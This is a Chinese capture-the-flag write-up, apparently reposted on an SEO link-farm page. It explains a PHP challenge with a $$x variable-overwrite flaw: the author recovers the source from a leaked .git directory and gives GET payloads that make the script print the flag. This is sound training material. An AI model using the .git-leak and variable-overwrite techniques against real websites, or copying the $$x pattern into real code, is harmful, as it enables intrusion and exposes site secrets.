当前位置: 首页 > news >正文

小县城做网站在线数据分析工具

小县城做网站,在线数据分析工具,淘宝网页设计模板html,动漫制作专业介绍打开题目 发现这么多链接,以为要一点点去找功能上的漏洞。当你源代码,dirsearch,抓包等等操作之后,发现什么都没有。所以这题又是一道源码泄露题,上GItHack。扫描结果如下 http://63f29a80-e08b-43ae-a6d0-8e70fb02ea…

打开题目

发现这么多链接,以为要一点点去找功能上的漏洞。当你源代码,dirsearch,抓包等等操作之后,发现什么都没有。所以这题又是一道源码泄露题,上GItHack。扫描结果如下

http://63f29a80-e08b-43ae-a6d0-8e70fb02eaa3.node5.buuoj.cn:81/.git

主要代码在index里面

<?php
 
include 'flag.php';
 
$yds = "dog";
$is = "cat";
$handsome = 'yds';
 
foreach($_POST as $x => $y){
    $$x = $y;   //$flag=1
}
 
foreach($_GET as $x => $y){
    $$x = $$y;   
}
 
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}
 
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
 
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}
 
echo "the flag is: ".$flag;

根据源代码,需要通过get传参达到变量覆盖的目的。 

?yds=flag

覆盖is变量

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

Get或Post传入flag=flag,触发变量覆盖代码

foreach($_POST as $x => $y){
    $$x = $y;   //$flag=1
}
 
foreach($_GET as $x => $y){
    $$x = $$y;   
}

输出?is=flag&flag=flag

再覆盖覆盖handsome变量

handsome=flag,得到$handsome=$flag

?handsome=flag&flag=handsome

可以得到flag

http://www.yidumall.com/news/21526.html

相关文章:

  • 在局域网服务器建设网站教程新东方雅思培训价目表
  • 鞍山做网站哪家好做电商需要什么条件
  • 唐山企业网站企业网络营销方案策划
  • wordpress字体功能昆明网站seo优化
  • 应用公园app官方下载国外网站谷歌seo推广
  • 光谷软件园企业网站建设公司上海aso优化公司
  • 网站设计简单网页seochinazcom
  • 汉口做网站做网站的好处
  • p2p倒闭 网站开发站外推广方式
  • wordpress怎么添加广告代码seo排名哪家正规
  • 网站备案 国外域名seo优化网站推广全域营销获客公司
  • 湖南基础建设投资集团网站yoast seo教程
  • 网站开发工作周记关键词的优化和推广
  • 铁法能源公司网站官网排名优化方案
  • wordpress php开发手册网站怎么优化到首页
  • 运城 网站制作广州最新疫情最新消息
  • 张家港做网站优化价格友情链接交换标准
  • 网站如何添加百度统计宣传推广方式
  • 上海专业网站营销收录查询站长工具
  • 怎样设计一个网站正规排名网站推广公司
  • 上海地区网站建设百度官网认证
  • wordpress浏览器不兼容鹤壁seo公司
  • 如何做网站赚流量钱seo技术服务外包公司
  • 房地产开发公司排名seo怎样
  • c 做asp.net网站友情链接网自动收录
  • 东莞常平学校网站建设营销型网站建设多少钱
  • 如何学做网站全套教程长春网站建设开发
  • 长沙网站建设网站在线推广
  • 商务网站建设报告书seo教程之关键词是什么
  • 重庆机有哪些网站建设公司德州seo整站优化